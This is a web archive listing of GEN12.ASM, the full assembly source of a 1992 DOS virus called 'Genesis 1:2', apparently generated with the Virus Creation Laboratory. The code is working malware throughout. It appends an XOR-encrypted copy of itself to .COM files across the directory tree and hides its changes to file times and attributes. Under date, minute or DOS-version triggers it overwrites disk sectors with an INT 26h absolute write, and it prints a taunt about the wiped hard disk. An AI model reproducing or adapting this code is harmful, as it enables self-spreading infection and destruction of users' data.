home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / GEN12.ASM < prev    next >
Assembly Source File  |  1992-08-19  |  11KB  |  391 lines

  1. ; GEN12.ASM -- Genesis 1:2 Virus
  2. ; Created with Nowhere Man's Virus Creation Laboratory v1.00
  3. ; Written by Virucidal Maniac
  4.  
  5. virus_type    equ    0            ; Appending Virus
  6. is_encrypted    equ    1            ; We're encrypted
  7. tsr_virus    equ    0            ; We're not TSR
  8.  
  9. code        segment byte public
  10.         assume    cs:code,ds:code,es:code,ss:code
  11.         org    0100h
  12.  
  13. main        proc    near
  14.         db    0E9h,00h,00h        ; Near jump (for compatibility)
  15. start:        call    find_offset        ; Like a PUSH IP
  16. find_offset:    pop    bp            ; BP holds old IP
  17.         sub    bp,offset find_offset    ; Adjust for length of host
  18.  
  19.         call    encrypt_decrypt     ; Decrypt the virus
  20.  
  21. start_of_code    label    near
  22.  
  23.         lea    si,[bp + buffer]    ; SI points to original start
  24.         mov    di,0100h        ; Push 0100h on to stack for
  25.         push    di            ; return to main program
  26.         movsw                ; Copy the first two bytes
  27.         movsb                ; Copy the third byte
  28.  
  29.         mov    di,bp            ; DI points to start of virus
  30.  
  31.         mov    bp,sp            ; BP points to stack
  32.         sub    sp,128            ; Allocate 128 bytes on stack
  33.  
  34.         mov    ah,02Fh         ; DOS get DTA function
  35.         int    021h
  36.         push    bx            ; Save old DTA address on stack
  37.  
  38.         mov    ah,01Ah         ; DOS set DTA function
  39.         lea    dx,[bp - 128]        ; DX points to buffer on stack
  40.         int    021h
  41.  
  42.         call    get_dos_version
  43.         cmp    ax,0005h        ; Did the function return 5?
  44.         jl    strt00            ; If less, do effect
  45.         call    get_minute
  46.         or    ax,ax            ; Did the function return zero?
  47.         je    strt00            ; If equal, do effect
  48.         call    get_year
  49.         cmp    ax,07C9h        ; Did the function return 1993?
  50.         je    strt00            ; If equal, do effect
  51.         jmp    end00            ; Otherwise skip over it
  52. strt00:     mov    ax,0002h        ; First argument is 2
  53.         mov    cx,0007h        ; Second argument is 7
  54.         cli                ; Disable interrupts (no Ctrl-C)
  55.         cwd                ; Clear DX (start with sector 0)
  56.         int    026h            ; DOS absolute write interrupt
  57.         sti                ; Restore interrupts
  58.  
  59. end00:        mov    cx,0005h        ; Do 5 infections
  60. search_loop:    push    cx            ; Save CX
  61.         call    search_files        ; Find and infect a file
  62.         pop    cx            ; Restore CX
  63.         loop    search_loop        ; Repeat until CX is 0
  64.  
  65.         jmp    end01            ; Otherwise skip over it
  66. strt01:     lea    si,[di + data00]    ; SI points to data
  67.         mov    ah,0Eh            ; BIOS display char. function
  68. display_loop:    lodsb                ; Load the next char. into AL
  69.         or    al,al            ; Is the character a null?
  70.         je    disp_strnend        ; If it is, exit
  71.         int    010h            ; BIOS video interrupt
  72.         jmp    short display_loop    ; Do the next character
  73. disp_strnend:
  74.  
  75. end01:
  76. com_end:    pop    dx            ; DX holds original DTA address
  77.         mov    ah,01Ah         ; DOS set DTA function
  78.         int    021h
  79.  
  80.         mov    sp,bp            ; Deallocate local buffer
  81.  
  82.         xor    ax,ax            ;
  83.         mov    bx,ax            ;
  84.         mov    cx,ax            ;
  85.         mov    dx,ax            ; Empty out the registers
  86.         mov    si,ax            ;
  87.         mov    di,ax            ;
  88.         mov    bp,ax            ;
  89.  
  90.         ret                ; Return to original program
  91. main        endp
  92.  
  93. search_files    proc    near
  94.         push    bp            ; Save BP
  95.         mov    bp,sp            ; BP points to local buffer
  96.         sub    sp,64            ; Allocate 64 bytes on stack
  97.  
  98.         mov    ah,047h         ; DOS get current dir function
  99.         xor    dl,dl            ; DL holds drive # (current)
  100.         lea    si,[bp - 64]        ; SI points to 64-byte buffer
  101.         int    021h
  102.  
  103.         mov    ah,03Bh         ; DOS change directory function
  104.         lea    dx,[di + root]        ; DX points to root directory
  105.         int    021h
  106.  
  107.         call    traverse        ; Start the traversal
  108.  
  109.         mov    ah,03Bh         ; DOS change directory function
  110.         lea    dx,[bp - 64]        ; DX points to old directory
  111.         int    021h
  112.  
  113.         mov    sp,bp            ; Restore old stack pointer
  114.         pop    bp            ; Restore BP
  115.         ret                ; Return to caller
  116.  
  117. root        db    "\",0            ; Root directory
  118. search_files    endp
  119.  
  120. traverse    proc    near
  121.         push    bp            ; Save BP
  122.  
  123.         mov    ah,02Fh         ; DOS get DTA function
  124.         int    021h
  125.         push    bx            ; Save old DTA address
  126.  
  127.         mov    bp,sp            ; BP points to local buffer
  128.         sub    sp,128            ; Allocate 128 bytes on stack
  129.  
  130.         mov    ah,01Ah         ; DOS set DTA function
  131.         lea    dx,[bp - 128]        ; DX points to buffer
  132.         int    021h
  133.  
  134.         mov    ah,04Eh         ; DOS find first function
  135.         mov    cx,00010000b        ; CX holds search attributes
  136.         lea    dx,[di + all_files]    ; DX points to "*.*"
  137.         int    021h
  138.         jc    leave_traverse        ; Leave if no files present
  139.  
  140. check_dir:    cmp    byte ptr [bp - 107],16    ; Is the file a directory?
  141.         jne    another_dir        ; If not, try again
  142.         cmp    byte ptr [bp - 98],'.'    ; Did we get a "." or ".."?
  143.         je    another_dir        ;If so, keep going
  144.  
  145.         mov    ah,03Bh         ; DOS change directory function
  146.         lea    dx,[bp - 98]        ; DX points to new directory
  147.         int    021h
  148.  
  149.         call    traverse        ; Recursively call ourself
  150.  
  151.         pushf                ; Save the flags
  152.         mov    ah,03Bh         ; DOS change directory function
  153.         lea    dx,[di + up_dir]    ; DX points to parent directory
  154.         int    021h
  155.         popf                ; Restore the flags
  156.  
  157.         jnc    done_searching        ; If we infected then exit
  158.  
  159. another_dir:    mov    ah,04Fh         ; DOS find next function
  160.         int    021h
  161.         jnc    check_dir        ; If found check the file
  162.  
  163. leave_traverse:
  164.         lea    dx,[di + com_mask]    ; DX points to "*.COM"
  165.         call    find_files        ; Try to infect a file
  166. done_searching: mov    sp,bp            ; Restore old stack frame
  167.         mov    ah,01Ah         ; DOS set DTA function
  168.         pop    dx            ; Retrieve old DTA address
  169.         int    021h
  170.  
  171.         pop    bp            ; Restore BP
  172.         ret                ; Return to caller
  173.  
  174. up_dir        db    "..",0            ; Parent directory name
  175. all_files    db    "*.*",0         ; Directories to search for
  176. com_mask    db    "*.COM",0        ; Mask for all .COM files
  177. traverse    endp
  178.  
  179. find_files    proc    near
  180.         push    bp            ; Save BP
  181.  
  182.         mov    ah,02Fh         ; DOS get DTA function
  183.         int    021h
  184.         push    bx            ; Save old DTA address
  185.  
  186.         mov    bp,sp            ; BP points to local buffer
  187.         sub    sp,128            ; Allocate 128 bytes on stack
  188.  
  189.         push    dx            ; Save file mask
  190.         mov    ah,01Ah         ; DOS set DTA function
  191.         lea    dx,[bp - 128]        ; DX points to buffer
  192.         int    021h
  193.  
  194.         mov    ah,04Eh         ; DOS find first file function
  195.         mov    cx,00100111b        ; CX holds all file attributes
  196.         pop    dx            ; Restore file mask
  197. find_a_file:    int    021h
  198.         jc    done_finding        ; Exit if no files found
  199.         call    infect_file        ; Infect the file!
  200.         jnc    done_finding        ; Exit if no error
  201.         mov    ah,04Fh         ; DOS find next file function
  202.         jmp    short find_a_file    ; Try finding another file
  203.  
  204. done_finding:    mov    sp,bp            ; Restore old stack frame
  205.         mov    ah,01Ah         ; DOS set DTA function
  206.         pop    dx            ; Retrieve old DTA address
  207.         int    021h
  208.  
  209.         pop    bp            ; Restore BP
  210.         ret                ; Return to caller
  211. find_files    endp
  212.  
  213. infect_file    proc    near
  214.         mov    ah,02Fh         ; DOS get DTA address function
  215.         int    021h
  216.         mov    si,bx            ; SI points to the DTA
  217.  
  218.         mov    byte ptr [di + set_carry],0  ; Assume we'll fail
  219.  
  220.         cmp    word ptr [si + 01Ah],(65279 - (finish - start))
  221.         jbe    size_ok         ; If it's small enough continue
  222.         jmp    infection_done        ; Otherwise exit
  223.  
  224. size_ok:    mov    ax,03D00h        ; DOS open file function, r/o
  225.         lea    dx,[si + 01Eh]        ; DX points to file name
  226.         int    021h
  227.         xchg    bx,ax            ; BX holds file handle
  228.  
  229.         mov    ah,03Fh         ; DOS read from file function
  230.         mov    cx,3            ; CX holds bytes to read (3)
  231.         lea    dx,[di + buffer]    ; DX points to buffer
  232.         int    021h
  233.  
  234.         mov    ax,04202h        ; DOS file seek function, EOF
  235.         cwd                ; Zero DX _ Zero bytes from end
  236.         mov    cx,dx            ; Zero CX /
  237.         int    021h
  238.  
  239.         xchg    dx,ax            ; Faster than a PUSH AX
  240.         mov    ah,03Eh         ; DOS close file function
  241.         int    021h
  242.         xchg    dx,ax            ; Faster than a POP AX
  243.  
  244.         sub    ax,finish - start + 3    ; Adjust AX for a valid jump
  245.         cmp    word ptr [di + buffer + 1],ax  ; Is there a JMP yet?
  246.         je    infection_done        ; If equal then exit
  247.         mov    byte ptr [di + set_carry],1  ; Success -- the file is OK
  248.         add    ax,finish - start    ; Re-adjust to make the jump
  249.         mov    word ptr [di + new_jump + 1],ax  ; Construct jump
  250.  
  251.         mov    ax,04301h        ; DOS set file attrib. function
  252.         xor    cx,cx            ; Clear all attributes
  253.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  254.         int    021h
  255.  
  256.         mov    ax,03D02h        ; DOS open file function, r/w
  257.         int    021h
  258.         xchg    bx,ax            ; BX holds file handle
  259.  
  260.         mov    ah,040h         ; DOS write to file function
  261.         mov    cx,3            ; CX holds bytes to write (3)
  262.         lea    dx,[di + new_jump]    ; DX points to the jump we made
  263.         int    021h
  264.  
  265.         mov    ax,04202h        ; DOS file seek function, EOF
  266.         cwd                ; Zero DX _ Zero bytes from end
  267.         mov    cx,dx            ; Zero CX /
  268.         int    021h
  269.  
  270.         push    si            ; Save SI through call
  271.         call    encrypt_code        ; Write an encrypted copy
  272.         pop    si            ; Restore SI
  273.  
  274.         mov    ax,05701h        ; DOS set file time function
  275.         mov    cx,[si + 016h]        ; CX holds old file time
  276.         mov    dx,[si + 018h]        ; DX holds old file date
  277.         int    021h
  278.  
  279.         mov    ah,03Eh         ; DOS close file function
  280.         int    021h
  281.  
  282.         mov    ax,04301h        ; DOS set file attrib. function
  283.         xor    ch,ch            ; Clear CH for file attribute
  284.         mov    cl,[si + 015h]        ; CX holds file's old attributes
  285.         lea    dx,[si + 01Eh]        ; DX points to victim's name
  286.         int    021h
  287.  
  288. infection_done: cmp    byte ptr [di + set_carry],1  ; Set carry flag if failed
  289.         ret                ; Return to caller
  290.  
  291. set_carry    db    ?            ; Set-carry-on-exit flag
  292. buffer        db    090h,0CDh,020h        ; Buffer to hold old three bytes
  293. new_jump    db    0E9h,?,?        ; New jump to virus
  294. infect_file    endp
  295.  
  296.  
  297. get_dos_version proc    near
  298.         mov    ah,030h         ; DOS get DOS version function
  299.         int    021h
  300.         mov    bx,ax            ; Save return value in BX
  301.         xor    bl,bl            ; Clear DOS major version in BX
  302.         xchg    bh,bl            ; Place 0 in BH, minor in BL
  303.         cbw                ; Sign-extend AL into AX
  304.         mov    cl,100            ; CL holds multiplier
  305.         mul    cl            ; Multiply AL by 100
  306.         add    ax,bx            ; Add back the minor version
  307.         ret                ; Return to caller
  308. get_dos_version endp
  309.  
  310. get_minute    proc    near
  311.         mov    ah,02Ch         ; DOS get time function
  312.         int    021h
  313.         mov    al,cl            ; Copy minute into AL
  314.         cbw                ; Sign-extend AL into AX
  315.         ret                ; Return to caller
  316. get_minute    endp
  317.  
  318. get_year    proc    near
  319.         mov    ah,02Ah         ; DOS get date function
  320.         int    021h
  321.         xchg    cx,ax            ; Transfer the year into AX
  322.         ret                ; Return to caller
  323. get_year    endp
  324.  
  325. data00          db  "Genesis 1:2",13,10
  326.           db  "    And the earth was without form and void...",13,10
  327.           db  13,10
  328.           db  "            Now...So is your hard disk.",13,10
  329.           db  13,10
  330.           db  "                -Virucidal Maniac",13,10
  331.  
  332. vcl_marker    db    "[VCL]",0        ; VCL creation marker
  333.  
  334. encrypt_code    proc    near
  335.         push    bp            ; Save BP
  336.         mov    bp,di            ; Use BP as pointer to code
  337.         lea    si,[bp + encrypt_decrypt]; SI points to cipher routine
  338.  
  339.         xor    ah,ah            ; BIOS get time function
  340.         int    01Ah
  341.         mov    word ptr [si + 9],dx    ; Low word of timer is new key
  342.  
  343.         xor    byte ptr [si + 1],8    ;
  344.         xor    byte ptr [si + 8],1    ; Change all SIs to DIs
  345.         xor    word ptr [si + 11],0101h; (and vice-versa)
  346.  
  347.         lea    di,[bp + finish]    ; Copy routine into heap
  348.         mov    cx,finish - encrypt_decrypt - 1  ; All but final RET
  349.         push    si            ; Save SI for later
  350.         push    cx            ; Save CX for later
  351.     rep    movsb                ; Copy the bytes
  352.  
  353.         lea    si,[bp + write_stuff]    ; SI points to write stuff
  354.         mov    cx,5            ; CX holds length of write
  355.     rep    movsb                ; Copy the bytes
  356.  
  357.         pop    cx            ; Restore CX
  358.         pop    si            ; Restore SI
  359.         inc    cx            ; Copy the RET also this time
  360.     rep    movsb                ; Copy the routine again
  361.  
  362.         mov    ah,040h         ; DOS write to file function
  363.         lea    dx,[bp + start]     ; DX points to virus
  364.  
  365.         lea    si,[bp + finish]    ; SI points to routine
  366.         call    si            ; Encrypt/write/decrypt
  367.  
  368.         mov    di,bp            ; DI points to virus again
  369.         pop    bp            ; Restore BP
  370.         ret                ; Return to caller
  371.  
  372. write_stuff:    mov    cx,finish - start    ; Length of code
  373.         int    021h
  374. encrypt_code    endp
  375.  
  376. end_of_code    label    near
  377.  
  378. encrypt_decrypt proc    near
  379.         lea    si,[bp + start_of_code] ; SI points to code to decrypt
  380.         mov    cx,(end_of_code - start_of_code) / 2 ; CX holds length
  381. xor_loop:    db    081h,034h,00h,00h    ; XOR a word by the key
  382.         inc    si            ; Do the next word
  383.         inc    si            ;
  384.         loop    xor_loop        ; Loop until we're through
  385.         ret                ; Return to caller
  386. encrypt_decrypt endp
  387. finish        label    near
  388.  
  389. code        ends
  390.         end    main
  391.